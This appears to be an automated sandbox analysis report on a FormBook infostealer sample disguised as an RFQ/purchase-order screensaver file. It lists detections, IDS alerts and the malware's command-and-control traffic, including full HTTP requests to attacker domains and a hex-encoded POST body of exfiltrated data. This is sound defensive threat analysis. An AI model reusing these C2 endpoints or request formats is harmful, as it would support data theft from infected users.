Windows Analysis Report
RFQ_P.O.1212024.scr

AI detected suspicious sample

Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.873456007.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.396612978.00000000001B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.396870614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.461322824.0000000000170000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.873508536.0000000000360000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.873699119.0000000001D20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.398641756.00000000025C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.873703699.0000000000900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.873782625.0000000003E40000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\PEJmengI.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: RFQ_P.O.1212024.scr

Joe Sandbox ML: detected

Source: RFQ_P.O.1212024.scr

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: RFQ_P.O.1212024.scr

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: msinfo32.pdb source: mrNbohrgjTw.exe, 0000000B.00000003.383034129.0000000000504000.00000004.00000001.00020000.00000000.sdmp, mrNbohrgjTw.exe, 0000000B.00000002.873630788.000000000052B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: msinfo32.pdb@ source: mrNbohrgjTw.exe, 0000000B.00000003.383034129.0000000000504000.00000004.00000001.00020000.00000000.sdmp, mrNbohrgjTw.exe, 0000000B.00000002.873630788.000000000052B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: mrNbohrgjTw.exe, 0000000B.00000000.379719754.0000000000CEE000.00000002.00000001.01000000.0000000A.sdmp, mrNbohrgjTw.exe, 00000014.00000002.873854822.0000000000CEE000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: RegSvcs.pdb, source: msinfo32.exe, 0000000C.00000002.873979376.00000000028BC000.00000004.10000000.00040000.00000000.sdmp, msinfo32.exe, 0000000C.00000002.873553497.0000000000676000.00000004.00000020.00020000.00000000.sdmp, mrNbohrgjTw.exe, 00000014.00000000.409282745.0000000002D1C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.461474996.000000000170C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 00000008.00000002.397445363.0000000000950000.00000040.00001000.00020000.00000000.sdmp, msinfo32.exe, 0000000C.00000002.873778069.0000000002010000.00000040.00001000.00020000.00000000.sdmp, msinfo32.exe, 0000000C.00000003.396847773.0000000001E80000.00000004.00000020.00020000.00000000.sdmp, msinfo32.exe, 0000000C.00000003.396514209.0000000001D20000.00000004.00000020.00020000.00000000.sdmp, msinfo32.exe, 0000000C.00000002.873778069.0000000002190000.00000040.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000013.00000002.415871928.000000000094C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: RegSvcs.pdb source: msinfo32.exe, 0000000C.00000002.873979376.00000000028BC000.00000004.10000000.00040000.00000000.sdmp, msinfo32.exe, 0000000C.00000002.873553497.0000000000676000.00000004.00000020.00020000.00000000.sdmp, mrNbohrgjTw.exe, 00000014.00000000.409282745.0000000002D1C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.461474996.000000000170C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 4x nop then jmp 0065A2ADh	0_2_00659876
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 4x nop then jmp 0065A2ADh	0_2_006598E8
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 4x nop then jmp 0065A2ADh	0_2_00659C97
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 4x nop then jmp 0065A2ADh	0_2_0065989A
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 4x nop then jmp 0065A2ADh	0_2_00659922
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 4x nop then jmp 005C9AEDh	10_2_005C94DE
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 4x nop then jmp 005C9AEDh	10_2_005C9128
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 4x nop then jmp 005C9AEDh	10_2_005C90DA
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 4x nop then jmp 005C9AEDh	10_2_005C90B6
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 4x nop then jmp 005C9AEDh	10_2_005C9162
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 4x nop then jmp 005C9AEDh	10_2_005C95B9
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Code function: 4x nop then jmp 005C9AEDh	10_2_005C934A

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49174 -> 85.25.177.138:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49168 -> 188.114.97.6:80
Source: Network traffic	Suricata IDS: 2856318 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M4 : 192.168.2.22:49168 -> 188.114.97.6:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49172 -> 85.25.177.138:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49167 -> 188.114.97.6:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49165 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49173 -> 85.25.177.138:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49178 -> 173.236.199.97:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49171 -> 85.25.177.138:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49177 -> 173.236.199.97:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49175 -> 173.236.199.97:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49196 -> 217.160.0.200:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49182 -> 203.161.42.73:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49176 -> 173.236.199.97:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49181 -> 203.161.42.73:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49195 -> 217.160.0.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49203 -> 81.2.196.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49199 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49193 -> 146.88.233.115:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49189 -> 77.68.64.45:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49215 -> 69.48.179.238:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49180 -> 203.161.42.73:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49186 -> 46.30.211.38:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49204 -> 81.2.196.19:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49198 -> 217.160.0.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49169 -> 188.114.97.6:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49187 -> 77.68.64.45:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49206 -> 81.2.196.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49183 -> 46.30.211.38:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49200 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49197 -> 217.160.0.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49184 -> 46.30.211.38:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49170 -> 188.114.97.6:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49192 -> 146.88.233.115:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49185 -> 46.30.211.38:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49214 -> 172.67.145.234:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49208 -> 172.67.215.235:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49202 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49209 -> 172.67.215.235:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49201 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49212 -> 172.67.145.234:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49188 -> 77.68.64.45:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49194 -> 146.88.233.115:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49210 -> 172.67.215.235:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49213 -> 172.67.145.234:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49179 -> 203.161.42.73:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49207 -> 172.67.215.235:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49190 -> 77.68.64.45:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49211 -> 172.67.145.234:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49191 -> 146.88.233.115:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49205 -> 81.2.196.19:80

Performs DNS queries to domains with low reputation

Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

DNS query: www.zoiheat.xyz

Source: unknown

Network traffic detected: IP country count 10

Source: Joe Sandbox View	IP Address: 45.33.6.223 45.33.6.223
Source: Joe Sandbox View	IP Address: 146.88.233.115 146.88.233.115
Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48

Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: INTERNET-CZKtis238403KtisCZ INTERNET-CZKtis238403KtisCZ

Source: C:\Windows\SysWOW64\msinfo32.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\sqlite-dll-win32-x86-3270000[1].zip

Source: global traffic	HTTP traffic detected: GET /ti6k/?e2E=wRQ8oHXx&x4=aooN9XnxZY5vLLqjRSo6DpWN4fgsD3CW9S/CD7OrytslWQsmx2XgIWNhq2ot6qnFvMzcVXyCAoOGhogdqicJCN8EOoBxC+Cz12DK8fUp+S6/f8QxRRTszX5C8Y75 HTTP/1.1Host: www.zoiheat.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /2019/sqlite-dll-win32-x86-3270000.zip HTTP/1.1User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36Host: www.sqlite.orgConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1yxc/?x4=sNv20zOiDYMkOMIZUAMTdfOFf2lUUMo2G3KMZ1n3ZrvJqNyjokS5weFlZhKtUuMXj8jBQ4ipfeoXnmxfx9jFO8nPHTBXwG0erHwEdD0EmkjwsdzIUyNTuEGbdIq/&e2E=wRQ8oHXx HTTP/1.1Host: www.questmatch.proAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /7mvy/?x4=h6bUgYM5oQIom3SELeChVOWhI9VWPZg3BKiCH+SaZEqPzQm7dEGcSvaBjSz44Tn+gLzjg3KkouZfQr0KlXeCQD7BohQrjjLoRt3TUvjzHSULJDbynuVmorsgWcKo&e2E=wRQ8oHXx HTTP/1.1Host: www.mrpokrovskii.proAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /zu0o/?x4=b+T4d2yBdzwUctMejPOupP2kAcsd/nhPUeEaq4sP5cuMDP5lcr7xps31yZ0v/SBMA/DffJ2wWiPafQM+LvQwNtI7bwedqUnBbu8V9j+TNLUtBYOc7+oiqpinqR9T&e2E=wRQ8oHXx HTTP/1.1Host: www.kvsj.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /n8su/?e2E=wRQ8oHXx&x4=lFR6PBva/PMsONRXI0WwK0wAlPs3/3LGo4dEt9E07rmpJDSADrt1oQ5wEpxa5wprSOBn2CzJO8jS1Mfo/039O8MFhYDOYZlyw2UFRkURX7D2yJawivbRUB3rqqzd HTTP/1.1Host: www.learniit.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /an5q/?x4=ht9kvQ/be1JP/b8GmoJbUpka8BxXZHDjKA2fsfIfXx0uGnoFDxCnuQ2Syamf2AV1LytjWJjmrwJ3QA9mKPa/MpeqH9CIj747RQUAZUa71OOzgLnsSxYrvroJ5BNI&e2E=wRQ8oHXx HTTP/1.1Host: www.bankseedz.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ugyg/?x4=oCZiSXk+P+GRfK1BPGYe2jAbGy6NfuRnUXBBKsmFkR5XdaXHzOV8cRyPm0SlplEQyKXzoexQZCmJiHD77mrvft/NmZQ5KxY7IzFSGPZt8SE9dF3swuxanCIPkslF&e2E=wRQ8oHXx HTTP/1.1Host: www.dietcoffee.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /m1g9/?x4=Cu+laRdL4iPyeXPOvnXbHATCRLbFtZvgmbFpChU/EeiHg3j+sEFT+StkZuqTMzkW17xuxTA+IyjM3SxoNr0bNIrAJ4iZv6YB/kmuH0GNS74UnHLgt4utBlkurB62&e2E=wRQ8oHXx HTTP/1.1Host: www.smartcongress.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /8mom/?e2E=wRQ8oHXx&x4=v3XpYZPN786X74upleiKtnNLTnr+c+QwOZfu2m4ZpmP7p96MXgDDhh7sLakM2W7qG0VyTnNwFXquJXbjGrCq/za7/jRofJkRFgfW/Ij12v4wAiV6r71IBPX8JcSc HTTP/1.1Host: www.carsten.studioAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /5p01/?x4=gA6TElZrCKVvAudJqCgIj+rDW60O9S/KrsL6QppRHZfK3DYPsJvxk4hrjtesZ+QJ9tNiW026ZluxU0disiqWvA+4TRd5XHrMIpgHSW93WHtTmPUKepAYQ6lEihd3&e2E=wRQ8oHXx HTTP/1.1Host: www.krshop.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /k6bb/?e2E=wRQ8oHXx&x4=Z6Ib5suwfioT2MqU06AO+PAui2zXunW520tiYNnV3r2mKqn+I/1Rk8X6nyOI9yPQWIZ7sVBW06SOuYuNHwSa/K8QYKA8w9Q0BnY6RfjXUsKFmlTp4Coq9mQ/L3NZ HTTP/1.1Host: www.rysanekbeton.cloudAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /gvzg/?x4=3ZtrxXVK8OpQj/IeinJ3ZiXeAcGxlO+Pqtakmq6NsaDAWPHTfqsTTp3MR0RJjMVggAZP9MES5OMDJz4L+ZnM27rh6ujY7a8DVehBMFx021rrXiLY5F9HpwIHbLcF&e2E=wRQ8oHXx HTTP/1.1Host: www.airrelax.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ge5i/?x4=jPU0HPuwZISEZ5CnqmUb1HxQcmHsEJWSHx9v/3j//xH9iOmom18fULHPXhZRerzvXxOw9xjpncAMgCVYCBSLizB0ok2+/BrdQFUexat22mesfNVGJAdc0xNIeHt8&e2E=wRQ8oHXx HTTP/1.1Host: www.vayui.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.zoiheat.xyz
Source: global traffic	DNS traffic detected: DNS query: www.sqlite.org
Source: global traffic	DNS traffic detected: DNS query: www.questmatch.pro
Source: global traffic	DNS traffic detected: DNS query: www.mrpokrovskii.pro
Source: global traffic	DNS traffic detected: DNS query: www.sodatool.site
Source: global traffic	DNS traffic detected: DNS query: www.tb0.shop
Source: global traffic	DNS traffic detected: DNS query: www.kvsj.net
Source: global traffic	DNS traffic detected: DNS query: www.learniit.info
Source: global traffic	DNS traffic detected: DNS query: www.bankseedz.info
Source: global traffic	DNS traffic detected: DNS query: www.dietcoffee.online
Source: global traffic	DNS traffic detected: DNS query: www.smartcongress.net
Source: global traffic	DNS traffic detected: DNS query: www.carsten.studio
Source: global traffic	DNS traffic detected: DNS query: www.krshop.shop
Source: global traffic	DNS traffic detected: DNS query: www.rysanekbeton.cloud
Source: global traffic	DNS traffic detected: DNS query: www.airrelax.shop
Source: global traffic	DNS traffic detected: DNS query: www.vayui.top
Source: global traffic	DNS traffic detected: DNS query: www.diozusemails.buzz

Source: unknown

HTTP traffic detected: POST /1yxc/ HTTP/1.1Host: www.questmatch.proAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USAccept-Encoding: gzip, deflate, brOrigin: http://www.questmatch.proReferer: http://www.questmatch.pro/1yxc/Content-Length: 2159Connection: closeContent-Type: application/x-www-form-urlencodedCache-Control: max-age=0User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36Data Raw: 78 34 3d 68 50 48 57 33 44 36 55 44 36 46 62 58 4f 73 55 4a 6c 64 67 64 65 47 73 5a 43 51 6b 44 36 35 53 43 41 53 68 64 46 37 79 54 38 69 67 76 4a 53 61 67 32 48 72 31 50 52 36 4c 6d 4f 46 53 65 42 70 34 74 4b 41 51 72 53 77 48 76 30 49 38 56 5a 78 31 66 32 62 4e 50 7a 4a 47 7a 6c 74 74 56 5a 6e 70 45 55 45 62 52 73 35 2b 46 76 63 71 71 7a 77 51 41 35 4b 6d 6b 75 54 4e 59 2f 6a 46 35 38 61 66 6d 31 66 76 71 32 6a 34 73 4b 6c 50 42 61 66 46 75 2b 47 4f 55 72 69 57 4a 51 66 6d 31 69 4b 31 51 78 51 76 63 6d 74 57 6c 36 70 33 78 47 66 32 64 48 55 2f 67 6b 68 63 43 70 4b 58 4d 68 31 44 5a 5a 7a 6f 45 6d 48 31 62 56 2b 68 6f 68 32 77 35 66 54 45 36 50 6b 76 65 32 49 33 65 75 61 6e 34 75 74 6e 6f 70 79 50 66 41 69 52 78 36 4c 37 46 53 57 57 31 50 64 53 44 59 49 51 62 4b 6c 64 79 70 64 73 4f 65 5a 4e 38 74 38 57 77 47 66 38 58 39 52 76 34 41 30 45 43 69 69 41 71 69 45 34 30 6c 32 48 71 31 65 38 38 48 45 4c 71 49 6f 4f 56 4a 44 72 6b 66 78 66 50 32 33 61 55 70 72 44 48 4a 33 6c 71 78 4d 66 5a 53 62 72 68 66 57 4a 6f 71 58 6e 73 4d 6f 63 6e 54 43 6a 7a 2b 51 6d 69 72 35 70 6c 6c 62 5a 75 4f 34 74 63 2f 34 6e 62 33 6b 4c 39 4b 2b 6e 2f 65 34 33 6a 50 61 73 6f 50 62 66 4b 46 73 43 79 64 42 37 45 30 59 49 5a 44 76 30 77 32 63 6c 6d 78 45 33 32 33 69 66 57 7a 30 69 74 2f 69 50 52 75 5a 54 7a 57 63 5a 4a 57 69 62 32 79 6b 42 4d 30 5a 39 55 55 6f 67 65 42 6d 54 68 49 42 5a 61 5a 34 30 57 34 50 66 42 64 56 6d 74 6a 76 57 59 73 74 6a 74 53 69 71 6b 4e 50 2b 57 52 6f 70 79 4f 59 7a 33 4e 31 71 4c 6e 33 33 50 6c 70 65 62 41 4b 4e 48 67 59 38 37 59 4e 68 4b 42 46 41 49 35 78 78 30 52 6b 64 48 58 65 76 35 4c 56 4b 46 65 35 45 54 75 4a 36 6b 6d 68 73 4d 2f 44 48 74 44 50 53 73 79 4f 52 37 56 67 76 65 2f 46 57 53 63 38 74 36 4f 6e 37 4a 61 33 30 4f 46 67 41 76 44 56 68 56 54 72 39 4d 50 45 31 6c 4b 55 52 68 77 57 45 7a 52 31 59 2b 38 6a 62 39 6e 41 39 6a 77 4f 44 43 32 6d 42 64 30 58 